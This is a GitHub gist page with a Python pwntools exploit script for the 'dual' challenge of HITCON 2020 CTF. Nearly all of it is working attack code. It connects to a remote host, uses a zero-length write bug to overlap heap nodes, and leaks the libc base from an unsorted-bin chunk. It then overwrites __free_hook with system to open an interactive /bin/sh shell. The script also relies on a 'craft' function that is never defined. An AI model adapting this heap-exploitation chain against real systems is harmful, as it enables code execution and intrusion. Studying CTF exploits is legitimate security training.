-
-
Save zommiommy/10207a8cb3900ec520d63b46046d47ab to your computer and use it in GitHub Desktop.
HITCON2020 dual expolit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') | |
host = '13.231.226.137' | |
port = 9573 | |
p = remote(host, port) | |
def op(): | |
p.recvuntil('op>') | |
def create(pred): | |
op() | |
p.sendline('1') | |
p.recvuntil('pred_id>\n') | |
p.sendline(str(pred)) | |
res = p.recvuntil('op>') | |
res = int(res[:-len('op>')]) | |
p.unrecv(b'op>') | |
return res | |
def connect(pred, succ): | |
op() | |
p.sendline('2') | |
p.recvuntil('pred_id') | |
p.sendline(str(pred)) | |
p.recvuntil('succ_id') | |
p.sendline(str(succ)) | |
def disconnect(pred, succ): | |
op() | |
p.sendline('3') | |
p.recvuntil('pred_id') | |
p.sendline(str(pred)) | |
p.recvuntil('succ_id') | |
p.sendline(str(succ)) | |
def write_text(node, text, shell=False): | |
op() | |
p.sendline('4') | |
p.recvuntil('node_id') | |
p.sendline(str(node)) | |
p.recvuntil('text_len') | |
p.sendline(str(len(text))) | |
if shell: | |
p.interactive() | |
exit() | |
p.recvuntil('text') | |
p.send(text) | |
def write_bin(node, text): | |
op() | |
p.sendline('5') | |
p.recvuntil('node_id') | |
p.sendline(str(node)) | |
p.recvuntil('bin_len') | |
p.sendline(str(len(text))) | |
p.recvuntil('bin') | |
p.send(text) | |
def read(node): | |
op() | |
p.sendline('6') | |
p.recvuntil('node_id>\n') | |
p.sendline(str(node)) | |
res = p.recvuntil('op>') | |
res = res[:-len('op>')] | |
p.unrecv(b'op>') | |
return res | |
def gc(): | |
op() | |
p.sendline('7') | |
# Step 1: leak libc base. | |
# Prepare a root node for later. In the second step the DFS will go down here first, | |
# so it won't crash on the nodes we crafted in the first step. | |
na = create(0) | |
# Root node for step 1. | |
nb = create(0) | |
# Bug: write_bin with size 0 will return 1 instead of a pointer. | |
write_bin(nb, '') | |
# This node can be overwritten with nb.text. | |
n1 = create(nb) | |
# Node that will be freed for the libc leak. | |
n2 = create(nb) | |
# Allocate >0x400 bytes so that the chunk will skip the tcache. | |
write_text(n2, 'X'*0x500) | |
# Create another node to avoid consolidation with the top chunk. | |
n3 = create(nb) | |
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena. | |
disconnect(nb, n2) | |
gc() | |
# Craft n1 so that we can read the pointers from the heap. | |
crafted = craft(n1, text_idx=n1, text_len=0x100) | |
print('writing', len(crafted), 'bytes:', crafted) | |
write_text(nb, crafted) | |
leak = read(n1) | |
print(leak) | |
leak_libc = u64(leak[160:160+8]) | |
print('leak arena:', hex(leak_libc)) | |
leak_offset = 2014176 # main_arena + 96 | |
main_arena = 0x7ffff7c2cb80 # libc.symbols['main_arena'] | |
print('main_arena', hex(main_arena)) | |
print('leak_offset', hex(leak_offset)) | |
libc_base = leak_libc - leak_offset | |
print('libc base:', hex(libc_base)) | |
pause() | |
# Step 2: write what-were to get a shell. | |
libc.address = libc_base | |
system = libc.symbols['system'] | |
what = system | |
print('system:', hex(system)) | |
free_hook = libc.symbols['__free_hook'] | |
where = free_hook | |
print('__free_hook:', hex(free_hook)) | |
# write_bin bug again to control a second node. | |
write_bin(n3, '') | |
# This node can be overwritten with n3.text. | |
n4 = create(na) | |
# Prepare nodes for arbitrary write. | |
wherenode = craft(n1, edges=where-8, last_edge=where, edges_end=where+32) | |
whatnode = craft(n4, pool_idx=what) | |
write_text(n3, whatnode) | |
write_text(nb, wherenode) | |
# Trigger arbitrary write. | |
connect(n1, n4) | |
pause() | |
# Write in a chunk and trigger the free in write_text to call system("/bin/sh"). | |
write_text(nb, b'/bin/sh\x00') | |
write_text(nb, 'A'*1500, shell=True) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment